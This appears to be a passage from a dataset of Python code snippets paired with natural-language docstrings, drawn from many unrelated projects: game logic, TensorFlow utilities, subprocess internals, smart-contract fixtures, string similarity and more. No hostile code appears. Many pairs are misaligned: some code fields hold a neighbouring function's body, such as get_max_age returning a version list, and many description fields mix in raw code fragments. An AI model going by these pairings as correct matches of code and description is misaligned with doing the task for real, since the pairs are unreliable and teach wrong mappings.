tests for anything we've tried.# def test_description(self):# test description attribute "} {"code": "def get_wares(caller):\n return [ware for ware in caller.location.db.storeroom.contents if inherits_from(ware, Item) and ware.db.value]\n", "nl": "Gets items located in the designated storeroom of the caller's location with a price assignedOnly descendants of the Item typeclass are eligible for sale"} {"code": "def respondToPieHit(self, timestamp, position, hot=False, direction=1.0):\n if self.kaboomTrack is not None and self.kaboomTrack.isPlaying():\n self.kaboomTrack.finish()\n\n self.clearHitInterval()\n splatName = 'splat-creampie'\n self.splat = globalPropPool.getProp(splatName)\n self.splat.setBillboardPointEye()\n\n self.splat.reparentTo(render)\n self.splat.setPos(self.root, position)\n self.splat.setAlphaScale(1.0)\n\n if not direction == 1.0:\n self.splat.setColorScale(PartyGlobals.CogActivitySplatColors[0])\n if self.currentFacing > 0.0:\n facing = \"HitFront\"\n else:\n facing = \"HitBack\"\n else:\n self.splat.setColorScale(PartyGlobals.CogActivitySplatColors[1])\n if self.currentFacing > 0.0:\n facing = \"HitBack\"\n else:\n facing = \"HitFront\"\n\n if hot:\n targetscale = 0.75\n part = \"head\"\n else:\n targetscale = 0.5\n part = \"body\"\n", "nl": "The toon hit us, react appropriately.assert(self.notify.debugStateCall(self))if self.netTimeSentToStartByHit < timestamp:self.__showSplat(position, direction, hot)if self.netTimeSentToStartByHit < timestamp:self.netTimeSentToStartByHit = timestampelse:#self.notify.debug('localStamp = %s, lastLocalTimeStampFromAI=%s, ignoring respondToPieHit' % (localStamp, self.lastLocalTimeStampFromAI))self.notify.debug('respondToPieHit self.netTimeSentToStartByHit = %s' % self.netTimeSentToStartByHit)def clearHitInterval(self):if self.hitInterval is not None and self.hitInterval.isPlaying():self.hitInterval.clearToInitial()def __showSplat(self, position, direction, hot=False):Show the splat graphic and sound."} {"code": "def box_list_scale(boxlist, y_scale, x_scale, scope=None):\n if not scope:\n scope = 'Scale'\n with tf.name_scope(scope):\n y_scale = tf.cast(y_scale, tf.float32)\n x_scale = tf.cast(x_scale, tf.float32)\n y_min, x_min, y_max, x_max = tf.split(\n value=boxlist.get(), num_or_size_splits=4, axis=1)\n y_min = y_scale * y_min\n y_max = y_scale * y_max\n x_min = x_scale * x_min\n x_max = x_scale * x_max\n scaled_boxlist = box_list.BoxList(\n tf.concat([y_min, x_min, y_max, x_max], 1))\n return _copy_extra_fields(scaled_boxlist, boxlist)\n\n", "nl": "scale box coordinates in x and y dimensions.Args:boxlist: BoxList holding N boxesy_scale: (float) scalar tensorx_scale: (float) scalar tensorscope: name scope.Returns:boxlist: BoxList holding N boxes"} {"code": "def get_illyrian_spo2_color(spo2_level):\n\n if spo2_level is None:\n return RED\n\n color = GREEN\n\n if spo2_level < 94:\n color = YELLOW\n\n if spo2_level < 90:\n color = RED\n\n return color\n\n", "nl": "Gets the color for the SPO2 level"} {"code": "def after_all(context):\n _log.info(\"cleaning up test suite\")\n try:\n for wake_word in context.wake_words.values():\n _remove_wake_word_files(context, wake_word)\n remove_wake_word(context.db, wake_word)\n remove_agreements(\n context.db,\n [context.privacy_policy, context.terms_of_use, context.open_dataset],\n )\n os.removedirs(context.wake_word_dir)\n except Exception:\n _log.exception(\"failure in test suite cleanup\")\n raise\n\n", "nl": "Clean up static test data after all tests have run.This is data that does not change from test to test so it only needs to be setupand torn down once."} {"code": "def my_func(self):\n return [mymodule.Class()]\n ''')", "nl": "This is a docstring.Returns:list(:class:`mymodule.Class`):"} {"code": "def _clip_pad(tensor, pad_shape):\n H, W = tensor.shape[2:]\n h, w = pad_shape\n\n if h < H or w < W:\n tensor = tensor[:, :, :h, :w].copy()\n\n return tensor\n\n\n@mx.operator.register(\"proposal\")\nclass ProposalProp(mx.operator.CustomOpProp):", "nl": "Clip boxes of the pad area.:param tensor: [n, c, H, W]:param pad_shape: [h, w]:return: [n, c, h, w]"} {"code": "def get_max_age(self) -> Optional[int]:\n return str(self[\"v\"]).split(\",\") if \"v\" in self else None\n", "nl": "Output the number of seconds for which the alternative service is considered fresh. None if undefined.return int(str(self[\"ma\"])) if \"ma\" in self else Nonedef get_versions(self) -> Optional[List[str]]:May return, if available, a list of versions of the ALPN protocol identifier."} {"code": "def _getOutOfOrderMetrics(connection, query):\n resultProxy = connection.execute(query)\n return resultProxy.fetchall()\n\n\n", "nl": "Checks the timestamp order of rows of the metric_data table in the taurus db.:param connection: DB connection:type connection: sqlalchemy.engine.base.Connection:param query: A mysql query:type query: string:return The result of the database query:rtype sqlalchemy.engine.result.ResultProxy"} {"code": "def server(server):\n env.project_path = path\n\n\n", "nl": "Server to useenv.hosts = [server]def path(path):Project path on the server"} {"code": "def __init__(self):\n self._registration = None\n", "nl": "Sets up members"} {"code": "def try_reuse(self, path: str) -> Optional[ReuseResult]:\n assert (\n not path in self._known_glyphs\n ), f\"{path} isn't a path, it's a glyph name we've seen before\"\n assert path.startswith(\"M\"), f\"{path} doesn't look like a path\"\n\n if self._reuse_tolerance == -1:\n return None\n\n norm_path = normalize(SVGPath(d=path), self._normalize_tolerance).d\n if norm_path not in self._reusable_paths:\n return None\n\n glyph_name, glyph_path = self._reusable_paths[norm_path]\n affine = affine_between(\n SVGPath(d=glyph_path), SVGPath(d=path), self._reuse_tolerance\n )\n if affine is None:\n logging.warning(\"affine_between failed: %s %s \", glyph_path, path)\n return None\n\n if not fixed_safe(*affine):\n logging.warning(\n \"affine_between overflows Fixed: %s %s, %s\", glyph_path, path, affine\n )\n return None\n\n return ReuseResult(glyph_name, affine)\n", "nl": "Try to reproduce path as the transformation of another glyph.Path is expected to be in font units.Returns (glyph name, transform) if possible, None if not."} {"code": "def test_data_serialization():\n assert str(MlTradeMessage.Performative.CFP) == \"cfp\", \"The str value must be cfp\"\n assert (\n str(MlTradeMessage.Performative.TERMS) == \"terms\"\n ), \"The str value must be terms\"\n assert (\n str(MlTradeMessage.Performative.ACCEPT) == \"accept\"\n ), \"The str value must be accept\"\n assert str(MlTradeMessage.Performative.DATA) == \"data\", \"The str value must be data\"\n\n", "nl": "Test the serialization for 'data' speech-act works.msg = MlTradeMessage(performative=MlTradeMessage.Performative.DATA,terms=Description({\"foo1\": 1, \"bar1\": 2}),payload=b\"some_payload\",)msg.to = \"receiver\"envelope = Envelope(to=msg.to, sender=\"sender\", message=msg,)envelope_bytes = envelope.encode()actual_envelope = Envelope.decode(envelope_bytes)expected_envelope = envelopeassert expected_envelope.to == actual_envelope.toassert expected_envelope.sender == actual_envelope.senderassert (expected_envelope.protocol_specification_id== actual_envelope.protocol_specification_id)assert expected_envelope.message != actual_envelope.messageactual_msg = MlTradeMessage.serializer.decode(actual_envelope.message)actual_msg.to = actual_envelope.toactual_msg.sender = actual_envelope.senderexpected_msg = msgassert expected_msg == actual_msgdef test_performative_string_value():Test the string value of the performatives."} {"code": "def convert_year_month_safe(year, month):\n if year.max() < MAX_YEAR and year.min() > MIN_YEAR:\n return to_datetime(100 * year + month, format=\"%Y%m\")\n else:\n index = getattr(year, \"index\", None)\n return Series(\n [datetime.datetime(y, m, 1) for y, m in zip(year, month)], index=index\n )\n", "nl": "Convert year and month to datetimes, using pandas vectorized versionswhen the date range falls within the range supported by pandas.Otherwise it falls back to a slower but more robust methodusing datetime."} {"code": "def test_tb_6(self):", "nl": "b = def foo():a = 5g.throw(Exception, (5, 6, 7), 6)b = 6"} {"code": "def fs_encode(s):", "nl": "Encode s for use in the env, fs or cmdline.if isinstance(s, str):return selse:return s.encode(fs_encoding, 'strict')# We must avoid complex work that could involve# malloc or free in the child process to avoid# potential deadlocks, thus we do all this here.# and pass it to fork_exec()if env is not None:env_list = [fs_encode(k) + '=' + fs_encode(v)for k, v in env.items()]else:env_list = None # Use execv instead of execve.if os.path.dirname(executable):executable_list = (fs_encode(executable),)else:# This matches the behavior of os._execvpe().path_list = _get_exec_path(env)executable_list = (os.path.join(dir, executable)for dir in path_list)executable_list = tuple(fs_encode(exe)for exe in executable_list)fds_to_keep = set(pass_fds)fds_to_keep.add(errpipe_write)self.pid = _posixsubprocess.fork_exec(args, executable_list,close_fds, sorted(fds_to_keep), cwd, env_list,p2cread, p2cwrite, c2pread, c2pwrite,errread, errwrite,errpipe_read, errpipe_write,restore_signals, start_new_session, preexec_fn)self._child_created = Trueelse:# Pure Python implementation: It is not thread safe.# This implementation may deadlock in the child if your# parent process has any other threads running.gc_was_enabled = gc.isenabled()# Disable gc to avoid bug where gc -> file_dealloc -># write to stderr -> hang. See issue1336gc.disable()try:self.pid = os.fork()except:if gc_was_enabled:gc.enable()raiseself._child_created = Trueif self.pid == 0:# Childreached_preexec = Falsetry:# Close parent's pipe endsif p2cwrite != -1:os.close(p2cwrite)if c2pread != -1:os.close(c2pread)if errread != -1:os.close(errread)os.close(errpipe_read)# When duping fds, if there arises a situation# where one of the fds is either 0, 1 or 2, it# is possible that it is overwritten (#12607).if c2pwrite == 0:c2pwrite = os.dup(c2pwrite)if errwrite == 0 or errwrite == 1:errwrite = os.dup(errwrite)# Dup fds for childdef _dup2(a, b):# dup2() removes the CLOEXEC flag but# we must do it ourselves if dup2()# would be a no-op (issue #10806).if a == b:_set_cloexec(a, False)elif a != -1:os.dup2(a, b)_dup2(p2cread, 0)_dup2(c2pwrite, 1)_dup2(errwrite, 2)# Close pipe fds. Make sure we don't close the# same fd more than once, or standard fds.closed = set()for fd in [p2cread, c2pwrite, errwrite]:if fd > 2 and fd not in closed:os.close(fd)closed.add(fd)if cwd is not None:os.chdir(cwd)# This is a copy of Python/pythonrun.c# _Py_RestoreSignals(). If that were exposed# as a sys._py_restoresignals func it would be# better.. but this pure python implementation# isn't likely to be used much anymore.if restore_signals:signals = ('SIGPIPE', 'SIGXFZ', 'SIGXFSZ')for sig in signals:if hasattr(signal, sig):signal.signal(getattr(signal, sig),signal.SIG_DFL)if start_new_session and hasattr(os, 'setsid'):os.setsid()reached_preexec = Trueif preexec_fn:preexec_fn()# Close all other fds, if asked for - after# preexec_fn(), which may open FDs.if close_fds:if pass_fds:fds_to_keep = set(pass_fds)fds_to_keep.add(errpipe_write)self._close_all_but_a_sorted_few_fds(sorted(fds_to_keep))else:self._close_fds(but=errpipe_write)if env is None:os.execvp(executable, args)else:os.execvpe(executable, args, env)except:try:exc_type, exc_value = sys.exc_info()[:2]if isinstance(exc_value, OSError):errno_num = exc_value.errnoelse:errno_num = 0if not reached_preexec:exc_value = \"noexec\"message = '%s:%x:%s' % (exc_type.__name__,errno_num, exc_value)os.write(errpipe_write, message)except Exception:# We MUST not allow anything odd happening# above to prevent us from exiting below.pass# This exitcode won't be reported to applications# so it really doesn't matter what we return.os._exit(255)# Parentif gc_was_enabled:gc.enable()finally:# be sure the FD is closed no matter whatos.close(errpipe_write)# A pair of non -1s means we created both fds and are# responsible for closing them.# self._devnull is not always defined.devnull_fd = getattr(self, '_devnull', None)if p2cread != -1 and p2cwrite != -1 and p2cread != devnull_fd:os.close(p2cread)if c2pwrite != -1 and c2pread != -1 and c2pwrite != devnull_fd:os.close(c2pwrite)if errwrite != -1 and errread != -1 and errwrite != devnull_fd:os.close(errwrite)if devnull_fd is not None:os.close(devnull_fd)# Prevent a double close of these fds from __init__ on error.self._closed_child_pipe_fds = True# Wait for exec to fail or succeed; possibly raising exception# exception (limited in size)errpipe_data = ''while True:part = _eintr_retry_call(os.read, errpipe_read, 50000)errpipe_data += partif not part or len(errpipe_data) > 50000:breakfinally:# be sure the FD is closed no matter whatos.close(errpipe_read)if errpipe_data != \"\":try:_eintr_retry_call(os.waitpid, self.pid, 0)except OSError, e:if e.errno != errno.ECHILD:raisetry:exception_name, hex_errno, err_msg = (errpipe_data.split(':', 2))except ValueError:exception_name = 'RuntimeError'hex_errno = '0'err_msg = ('Bad exception data from child: ' +repr(errpipe_data))child_exception_type = getattr(exceptions, exception_name, RuntimeError)if issubclass(child_exception_type, OSError) and hex_errno:errno_num = int(hex_errno, 16)child_exec_never_called = (err_msg == \"noexec\")if child_exec_never_called:err_msg = \"\"if errno_num != 0:err_msg = os.strerror(errno_num)if errno_num == errno.ENOENT:if child_exec_never_called:# The error must be from chdir(cwd).err_msg += ': ' + repr(cwd)else:err_msg += ': ' + repr(orig_executable)raise child_exception_type(errno_num, err_msg)try:exception = child_exception_type(err_msg)except Exception:exception = RuntimeError('Could not re-raise %r exception from the'' child with error message %r' %(child_exception_type, err_msg))raise exceptiondef _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,_WTERMSIG=os.WTERMSIG, _WIFEXITED=os.WIFEXITED,_WEXITSTATUS=os.WEXITSTATUS, _WIFSTOPPED=os.WIFSTOPPED,_WSTOPSIG=os.WSTOPSIG):All callers to this function MUST hold self._waitpid_lock."} {"code": "def test_draw_stars(scene):\n colors = ['magenta', 'cyan', 'orange', 'white']\n for i, pos in enumerate(grid_coords((4, 3))):\n filled = bool(i % 2)\n w = 60 / (i + 1)\n h = 120 / (12 - i)\n\n r = scene.layers[0].add_rect(\n w, h,\n pos=pos,\n fill=filled,\n color=colors[i % len(colors)],\n )\n r.angle = i * 0.1\n\n\n@drawing_test", "nl": "We can draw stars .for i, pos in enumerate(grid_coords((4, 3))):color = colorsys.hsv_to_rgb(i / 12, 1, 1)scene.layers[0].add_star(inner_radius=2 * i + 2,outer_radius=3 * i + 10,points=2 * i + 3,pos=pos,color=color)@drawing_testdef test_draw_rects(scene):We can draw rectangles."} {"code": "def __lt__(self, other):\n The course page extension represents and records a course in the catalog.\n\n This model should be used to record structured data about the course whereas the\n associated page object is where we record the less structured information to display on the\n page that presents the course.\n \"\"\"", "nl": "Make it easy to compare two course states.return self._d[\"priority\"] < other[\"priority\"]# pylint: disable=too-many-public-methodsclass Course(EsIdMixin, BasePageExtension):"} {"code": "def _run_runner(self, image_name: str) -> Tuple[str, str, int]:\n share_directory = self._args.internals.share_directory\n container_volume_mounts = [f\"{share_directory}/utils:{share_directory}/utils\"]\n python_exec_path = \"python3\"\n\n kwargs = {\n \"cmdline\": [f\"{share_directory}/utils/image_introspect.py\"],\n \"container_engine\": self._args.container_engine,\n \"container_volume_mounts\": container_volume_mounts,\n \"execution_environment_image\": image_name,\n \"execution_environment\": True,\n \"navigator_mode\": \"interactive\",\n }\n\n if isinstance(self._args.container_options, list):\n kwargs.update({\"container_options\": self._args.container_options})\n\n self._logger.debug(\n f\"Invoke runner with executable_cmd: {python_exec_path}\" + f\" and kwargs: {kwargs}\",\n )\n _runner = Command(executable_cmd=python_exec_path, **kwargs)\n output, error, return_code = _runner.run()\n return output, error, return_code\n", "nl": "Run runner to collect image details.:param image_name: The full image name:returns: Output, errors and the return code"} {"code": "def solve(self):\n b = self.p - self.gamma * self.c + self.k\n cr = b / (b + self.h)\n outl = poisson.ppf(cr, (self.lead_time + 1) * self.mu)\n value = self.simulate(outl)\n return value\n", "nl": "Recursively solve the DP"} {"code": "def _exec_command(adb_cmd):\n t = tempfile.TemporaryFile()\n final_adb_cmd = []\n for e in adb_cmd:\n if e != '':\n final_adb_cmd.append(e)\n print('\\n*** Executing ' + ' '.join(adb_cmd) + ' ' + 'command')\n\n try:\n output = check_output(final_adb_cmd, stderr=t)\n except CalledProcessError as e:\n t.seek(0)\n result = e.returncode, t.read()\n else:\n result = 0, output\n print('\\n' + result[1])\n\n return result\n\n", "nl": "Format adb command and execute it in shell:param adb_cmd: list adb command to execute:return: string '0' and shell command output if successful, otherwiseraise CalledProcessError exception and return error code"} {"code": "def test(cfg):\n du.init_distributed_training(cfg)\n np.random.seed(cfg.RNG_SEED)\n torch.manual_seed(cfg.RNG_SEED)\n\n logging.setup_logging(cfg.OUTPUT_DIR)\n\n logger.info(\"Test with config:\")\n logger.info(cfg)\n\n model = build_model(cfg)\n if du.is_master_proc() and cfg.LOG_MODEL_INFO:\n misc.log_model_info(model, cfg, use_train_input=False)\n\n cu.load_test_checkpoint(cfg, model)\n\n test_loader = loader.construct_loader(cfg, \"test\")\n logger.info(\"Testing model for {} iterations\".format(len(test_loader)))\n\n assert (\n len(test_loader.dataset)\n % (cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS)\n == 0\n )\n test_meter = TestMeter(\n len(test_loader.dataset)\n // (cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS),\n cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS,\n cfg.MODEL.NUM_CLASSES,\n len(test_loader),\n cfg.DATA.MULTI_LABEL,\n cfg.DATA.ENSEMBLE_METHOD,\n )\n\n if cfg.TENSORBOARD.ENABLE and du.is_master_proc(\n cfg.NUM_GPUS * cfg.NUM_SHARDS\n ):\n writer = tb.TensorboardWriter(cfg)\n else:\n writer = None\n\n test_meter = perform_test(test_loader, model, test_meter, cfg, writer)\n if writer is not None:\n writer.close()", "nl": "Perform multi-view testing on the pretrained video model.Args:cfg (CfgNode): configs. Details can be found inslowfast/config/defaults.py"} {"code": "def __init__(self, cluster_scope=None, name=None, local_vars_configuration=None): # noqa: E501\n\n ClusterScope indicates the referred template is cluster scoped (i.e. a ClusterWorkflowTemplate).\n\n :return: The cluster_scope of this V1alpha1WorkflowTemplateRef.\n :rtype: bool\n \"\"\"", "nl": "V1alpha1WorkflowTemplateRef - a model defined in OpenAPI # noqa: E501if local_vars_configuration is None:local_vars_configuration = Configuration()self.local_vars_configuration = local_vars_configurationself._cluster_scope = Noneself._name = Noneself.discriminator = Noneif cluster_scope is not None:self.cluster_scope = cluster_scopeif name is not None:self.name = name@propertydef cluster_scope(self):Gets the cluster_scope of this V1alpha1WorkflowTemplateRef. # noqa: E501"} {"code": "def _compute_loss(self, batch, output, target, **kwargs):\n return NotImplementedError\n", "nl": "Compute the loss. Subclass must define this method.Args:batch: the current batch.output: the predict output from the model.target: the validate target to compare output with.**kwargs(optional): additional info for computing loss."} {"code": "def founder_allocation() -> float:\n\n args = [\n token.address,\n pricing_strategy.address,\n team_multisig,\n start_time,\n end_time,\n minimum_funding_goal,\n cap\n ]\n\n tx = {\n \"from\": team_multisig,\n }\n\n contract, hash = chain.provider.deploy_contract('MintedEthCappedCrowdsale', deploy_args=args, deploy_transaction=tx)\n\n assert contract.functions.owner().call() == team_multisig\n assert not token.functions.released().call()\n assert contract.call().weiCap() == cap\n\n token.functions.setMintAgent(contract.address, True).transact({\"from\": team_multisig})\n assert token.functions.mintAgents(contract.address).call() == True\n\n return contract\n\n\n@pytest.fixture()", "nl": "How much tokens are allocated to founders, etc.return 7.0/3.0@pytest.fixturedef pricing_strategy(chain, start_time, end_time, team_multisig):week = 24*3600 * 7args = [to_wei(1, \"ether\")]tx = {\"from\": team_multisig,}contract, hash = chain.provider.deploy_contract('FlatPricing', deploy_args=args, deploy_transaction=tx)return contract@pytest.fixturedef crowdsale(chain, team_multisig, start_time, end_time, pricing_strategy, preico_cap, minimum_funding_goal, cap, token) -> Contract:Create a crowdsale contract that has a minting cap and bonus % and token sold limit."} {"code": "def get_pool_information(self, request):\n return json.dumps(self.pool.as_json())\n\n @app.route(\"/nodes\", methods=[\"GET\"])", "nl": "API call to get the details of the single load balancer poolcorresponding to this handler.Returns a 200 because the pool definitely exists by the time thishandler is invoked.http://docs.rcv3.apiary.io/#get-%2Fv3%2F%7Btenant_id%7D%2Fload_balancer_pools%2F%7Bid%7D"} {"code": "def _get_candidate_modules(self, cyberware):\n return [ mod for mod in self.char.sub_sub_coms()\n if isinstance(mod, base.Module)\n and mod.can_install(cyberware, check_volume = False)\n ]\n", "nl": " Return all modules the cyberware can be installed in.Do not filter based on trauma or having an existingcyberware yet."} {"code": "def resolve_dotted_attribute(obj, attr, allow_dotted_names=True):\n if allow_dotted_names:\n attrs = attr.split('.')\n else:\n attrs = [\n attr]\n for i in attrs:\n if i.startswith('_'):\n raise AttributeError('attempt to access private attribute \"%s\"' % i)\n else:\n obj = getattr(obj, i)\n\n return obj\n\n", "nl": "resolve_dotted_attribute(a, 'b.c.d') => a.b.c.dResolves a dotted attribute name to an object. Raisesan AttributeError if any attribute in the chain starts with a '_'.If the optional allow_dotted_names argument is false, dots are notsupported and this function operates similar to getattr(obj, attr)."} {"code": "def NetFxSdkDir(self):\n for ver in self.NetFxSdkVersion:\n loc = os.path.join(self.ri.netfx_sdk, ver)\n sdkdir = self.ri.lookup(loc, 'kitsinstallationfolder')\n if sdkdir:\n break\n return sdkdir or ''\n\n @property", "nl": "Microsoft .NET Framework SDK directory."} {"code": "def getSmpxArchiveData(abcPath):\n if not os.path.isfile(str(abcPath)):\n raise IOError(\"File does not exist: \" + str(abcPath))\n iarch = IArchive(str(abcPath))\n top, par, abcMesh = [None] * 3\n try:\n top = iarch.getTop()\n par = top.children[0]\n par = IXform(top, par.getName())\n abcMesh = par.children[0]\n abcMesh = IPolyMesh(par, abcMesh.getName())\n sch = par.getSchema()\n props = sch.getUserProperties()\n jsString = readStringProperty(props, \"simplex\")\n\n except Exception:\n iarch, top, par, abcMesh = [None] * 4\n raise\n\n return iarch, abcMesh, jsString\n\n", "nl": "Read and return the low level relevant data from a simplex alembicParameters----------abcPath : strThe path to the .smpx fileReturns-------: IArchiveAn opened Alembic IArchive object handle: IPolyMeshAn Alembic Mesh handle: strThe json definition string"} {"code": "def _connect_kubectl(spec):\n return {\n 'method': 'kubectl',\n 'kwargs': {\n 'pod': spec.remote_addr(),\n 'python_path': spec.python_path(),\n 'connect_timeout': spec.ansible_ssh_timeout() or spec.timeout(),\n 'kubectl_path': spec.mitogen_kubectl_path(),\n 'kubectl_args': spec.extra_args(),\n 'remote_name': get_remote_name(spec),\n }\n }\n\n", "nl": "Return ContextService arguments for a Kubernetes connection."} {"code": "def get_format_field_info(self, key):\n", "nl": "Return :py:class:`FieldInfo` for the given INFO fieldreturn self._get_field_info(\"FORMAT\", key)def _get_field_info(self, type_, key):result = self._indices[type_].get(key)if result:return resultif key in RESERVED_INFO:res = FieldInfo(RESERVED_INFO[key].type, RESERVED_INFO[key].number)else:res = FieldInfo(\"String\", HEADER_NUMBER_UNBOUNDED)warnings.warn(\"{} {} not found using {}/{} instead\".format(type_, key, res.type, repr(res.number)),FieldInfoNotFound,)return resdef __eq__(self, other):if isinstance(other, self.__class__):return (self.lines, self.samples) == (other.lines, other.samples)return NotImplementeddef __ne__(self, other):if isinstance(other, self.__class__):return (self.lines, self.samples) != (other.lines, other.samples)return NotImplementeddef __hash__(self):raise TypeError(\"Unhashable type: Header\")def __str__(self):tpl = \"Header(lines={}, samples={})\"return tpl.format(*map(repr, (self.lines, self.samples)))def __repr__(self):return str(self)class HeaderLine:Base class for VCF header lines"} {"code": "def _write_bin(self, data, stream, byte_order):\n _np.dtype(self.dtype(byte_order)).type(data).tofile(stream)\n", "nl": "Write data to a binary stream."} {"code": "def exploded(self):\n return _compat_str(self)\n\n @property", "nl": "Return the longhand version of the IP address as a string.return self._explode_shorthand_ip_string()@propertydef compressed(self):Return the shorthand version of the IP address as a string."} {"code": "def test_cwd_plugin(self):\n with self.create_temp_cwd(['hello.py']):\n self.create_empty_notebook(u'empty.ipynb')\n self.nbconvert('empty --to html --NbConvertApp.writer_class=\\'hello.HelloWriter\\'')\n assert os.path.isfile(u'hello.txt')\n", "nl": "Verify that an extension in the cwd can be imported."} {"code": "def sim(self, src: str, tar: str) -> float:\n if self._mode == 'winkler':\n if self._boost_threshold > 1 or self._boost_threshold < 0:\n raise ValueError(\n 'Unsupported boost_threshold assignment; '\n + 'boost_threshold must be between 0 and 1.'\n )\n if self._scaling_factor > 0.25 or self._scaling_factor < 0:\n raise ValueError(\n 'Unsupported scaling_factor assignment; '\n + 'scaling_factor must be between 0 and 0.25.'\n )\n\n if src == tar:\n return 1.0\n\n tokenizer = QGrams(self._qval)\n tokenizer.tokenize(src.strip())\n src_list = tokenizer.get_list()\n tokenizer.tokenize(tar.strip())\n tar_list = tokenizer.get_list()\n\n lens = len(src_list)\n lent = len(tar_list)\n\n if lens == 0 or lent == 0:\n return 0.0\n\n if lens > lent:\n search_range = lens\n minv = lent\n else:\n search_range = lent\n minv = lens\n\n src_flag = [0] * search_range\n tar_flag = [0] * search_range\n search_range = max(0, search_range // 2 - 1)\n\n num_com = 0\n yl1 = lent - 1\n for i in range(lens):\n low_lim = (i - search_range) if (i >= search_range) else 0\n hi_lim = (i + search_range) if ((i + search_range) <= yl1) else yl1\n for j in range(low_lim, hi_lim + 1):\n if (tar_flag[j] == 0) and (tar_list[j] == src_list[i]):\n tar_flag[j] = 1\n src_flag[i] = 1\n num_com += 1\n break\n\n if num_com == 0:\n return 0.0\n\n k = n_trans = 0\n for i in range(lens):\n if src_flag[i] != 0:\n j = 0\n for j in range(k, lent):\n if tar_flag[j] != 0:\n k = j + 1\n break\n if src_list[i] != tar_list[j]:\n n_trans += 1\n n_trans //= 2\n\n weight = (\n num_com / lens + num_com / lent + (num_com - n_trans) / num_com\n )\n weight /= 3.0\n\n if self._mode == 'winkler' and weight > self._boost_threshold:\n\n j = 4 if (minv >= 4) else minv\n i = 0\n while (i < j) and (src_list[i] == tar_list[i]):\n i += 1\n weight += i * self._scaling_factor * (1.0 - weight)\n\n\n if (\n self._long_strings\n and (minv > 4)\n and (num_com > i + 1)\n and (2 * num_com >= minv + i)\n ):\n weight += (1.0 - weight) * (\n (num_com - i - 1) / (lens + lent - i * 2 + 2)\n )\n\n return weight\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()", "nl": "Return the Jaro or Jaro-Winkler similarity of two strings.Parameters----------src : strSource string for comparisontar : strTarget string for comparisonReturns-------floatJaro or Jaro-Winkler similarityRaises------ValueErrorUnsupported boost_threshold assignment; boost_threshold must bebetween 0 and 1.ValueErrorUnsupported scaling_factor assignment; scaling_factor must bebetween 0 and 0.25.'Examples-------->>> cmp = JaroWinkler()>>> round(cmp.sim('cat', 'hat'), 12)0.777777777778>>> round(cmp.sim('Niall', 'Neil'), 12)0.805>>> round(cmp.sim('aluminum', 'Catalan'), 12)0.60119047619>>> round(cmp.sim('ATCG', 'TAGC'), 12)0.833333333333>>> cmp = JaroWinkler(mode='jaro')>>> round(cmp.sim('cat', 'hat'), 12)0.777777777778>>> round(cmp.sim('Niall', 'Neil'), 12)0.783333333333>>> round(cmp.sim('aluminum', 'Catalan'), 12)0.60119047619>>> round(cmp.sim('ATCG', 'TAGC'), 12)0.833333333333.. versionadded:: 0.1.0.. versionchanged:: 0.3.6Encapsulated in class"} {"code": "def _process_model_name(config_dict: Dict) -> str:\n model_name = config_dict[\"model\"] if \"model\" in config_dict else config_dict[\"generator_model\"]\n model_name = model_name.replace(\"_generator\", \"\").replace(\"_discriminator\", \"\")\n return model_name\n\n", "nl": "Format the model name as expected. It is a band-aid for the old `vocoder` model names.Args:config_dict (Dict): A dictionary including the config fields.Returns:str: Formatted modelname."} {"code": "def get_examples(self, string, name=''):\n return [x for x in self.parse(string, name)\n if isinstance(x, Example)]\n", "nl": "Extract all doctest examples from the given string, and returnthem as a list of `Example` objects. Line numbers are0-based, because it's most common in doctests that nothinginteresting appears on the same line as opening triple-quote,and so the first interesting line is called \\\"line 1\\\" then.The optional argument `name` is a name identifying thisstring, and is only used for error messages."} {"code": "def getFrameDimensions(data, page_width, page_height):\n box = data.get(\"-pdf-frame-box\", [])\n if len(box) == 4:\n return [getSize(x) for x in box]\n top = getSize(data.get(\"top\", 0))\n left = getSize(data.get(\"left\", 0))\n bottom = getSize(data.get(\"bottom\", 0))\n right = getSize(data.get(\"right\", 0))\n if \"height\" in data:\n height = getSize(data[\"height\"])\n if \"top\" in data:\n top = getSize(data[\"top\"])\n bottom = page_height - (top + height)\n elif \"bottom\" in data:\n bottom = getSize(data[\"bottom\"])\n top = page_height - (bottom + height)\n if \"width\" in data:\n width = getSize(data[\"width\"])\n if \"left\" in data:\n left = getSize(data[\"left\"])\n right = page_width - (left + width)\n elif \"right\" in data:\n right = getSize(data[\"right\"])\n left = page_width - (right + width)\n top += getSize(data.get(\"margin-top\", 0))\n left += getSize(data.get(\"margin-left\", 0))\n bottom += getSize(data.get(\"margin-bottom\", 0))\n right += getSize(data.get(\"margin-right\", 0))\n\n width = page_width - (left + right)\n height = page_height - (top + bottom)\n return left, top, width, height\n\n\n@memoized", "nl": "Calculate dimensions of a frameReturns left, top, width and height of the frame in points."} {"code": "def rejectInvite(self, item, acceptingIndex, callback, optional =-1):\n DistributedMailbox.notify.debug(\"rejectInvite\")\n context = self.getCallbackContext(callback, [item, acceptingIndex])\n self.sendUpdate(\"rejectInviteMessage\", [context, item.inviteKey])\n", "nl": "Tell the AI we are rejecting an invite.Call the callback when the AI responds. Note that acceptingIndexis an index to all things in the mailbox, including simple mail."} {"code": "def sample_subgrid(grid: Tensor, start: Tensor, size: Shape) -> Tensor:\n assert start.shape.names == ('vector',)\n assert grid.shape.spatial.names == size.names\n assert math.all_available(start), \"Cannot perform sample_subgrid() during tracing, 'start' must be known.\"\n discard = {}\n for dim, d_start, d_size in zip(grid.shape.spatial.names, start, size.sizes):\n discard[dim] = slice(int(d_start), int(d_start) + d_size + (1 if d_start != 0 else 0))\n grid = grid[discard]\n upper_weight = start % 1\n lower_weight = 1 - upper_weight\n for i, dim in enumerate(grid.shape.spatial.names):\n if upper_weight[i].native() not in (0, 1):\n lower, upper = shift(grid, (0, 1), [dim], padding=None, stack_dim=None)\n grid = upper * upper_weight[i] + lower * lower_weight[i]\n return grid\n\n\n\n", "nl": "Samples a sub-grid from `grid` with equal distance between sampling points.The values at the new sample points are determined via linear interpolation.Args:grid: `Tensor` to be resampled. Values are assumed to be sampled at cell centers.start: Origin point of sub-grid within `grid`, measured in number of cells.Must have a single dimension called `vector`.Example: `start=(1, 0.5)` would slice off the first grid point in dim 1 and take the mean of neighbouring points in dim 2.The order of dims must be equal to `size` and `grid.shape.spatial`.size: Resolution of the 